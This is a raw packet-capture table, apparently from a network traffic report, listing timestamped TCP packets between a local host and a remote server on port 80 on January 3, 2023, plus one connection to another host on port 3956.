                                                                              Jan 3, 2023 08:16:06.521991014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.521991014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522013903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522044897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522075891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522089005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522108078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522138119 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522140026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522171974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522205114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522224903 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522237062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522269011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522300005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522315025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522315025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522331953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522362947 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522363901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522396088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522413015 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522427082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522459030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522490025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522511959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522521973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522553921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522564888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522564888 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522584915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522612095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522615910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522649050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522675037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522680044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522711992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522743940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522756100 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522774935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522805929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522836924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522869110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522881985 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522900105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522932053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522964001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.522964001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522964001 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.522995949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523010969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523029089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523060083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523061037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523061037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523092031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523123980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523154974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523158073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523159027 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523185968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523217916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523250103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523256063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523281097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523304939 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523313046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523344994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523376942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523386002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523408890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523433924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523439884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523471117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523494005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523503065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523535013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523566008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523575068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523597956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523628950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523647070 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523659945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523691893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523694992 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523722887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523755074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523763895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523787022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523818970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523849964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523880959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523890018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523911953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523943901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.523971081 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.523974895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524007082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524019003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524038076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524070024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524079084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524101973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524132967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524163961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524197102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524228096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524240971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524240971 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524259090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524290085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524348974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524384022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524386883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524386883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524415970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524446964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524472952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524478912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524509907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524549007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524581909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524584055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524614096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524646044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524677038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524708033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524719000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524719000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524739981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524764061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524770975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524802923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524806976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524833918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524862051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524866104 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524897099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524928093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524959087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.524971962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524971962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.524990082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525022030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525053024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525068998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525068998 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525084972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525116920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525147915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525168896 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525180101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525211096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525229931 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525243044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525274038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525295019 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525305986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525336981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525371075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.525384903 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525384903 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525473118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525538921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.525538921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.550776005 CET498703956192.168.11.20149.56.27.47
                                                                              Jan 3, 2023 08:16:06.575352907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575371981 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575387001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575401068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575416088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575429916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575443983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575458050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575472116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575485945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575500965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575515032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575529099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575544119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575557947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575561047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575572014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575582981 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575587034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575601101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575614929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575628996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575643063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575656891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575663090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575663090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575685978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575700045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575715065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575735092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575738907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575754881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575768948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575783014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575797081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575799942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575810909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575824976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575839043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575853109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575866938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575881004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575891018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575895071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575908899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575922966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575937033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575949907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575963020 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.575963974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575978041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.575992107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576005936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576020002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576028109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576034069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576047897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576061964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576076031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576076031 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576076031 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576091051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576105118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576118946 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576133013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576147079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576160908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576174974 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576174974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576189995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576204062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576217890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576231956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576246023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576260090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576260090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576273918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576287985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576302052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576329947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576344967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576351881 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576351881 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576359034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576373100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576386929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576400042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576415062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576428890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576442957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576450109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576457024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576471090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576484919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576498985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576513052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576527119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576529980 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576540947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576555014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576570034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576584101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576597929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576601982 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576611996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576626062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576639891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576653957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576668024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576682091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576683044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576683044 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576695919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576709986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576724052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576730967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576738119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576751947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576766014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576780081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576793909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.576829910 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576878071 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.576961994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.581353903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.581526041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585377932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585483074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585500956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585515976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585530043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585544109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585557938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585568905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585568905 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585649014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585665941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585666895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585681915 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585695982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585710049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585725069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585738897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585748911 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585752964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585767031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585781097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585794926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585808992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585824013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585828066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585828066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585838079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585851908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585875988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585875988 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.585892916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585907936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585922003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.585925102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.586018085 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586023092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.586031914 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586046934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586060047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586074114 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586087942 CET8049869179.43.141.116192.168.11.20
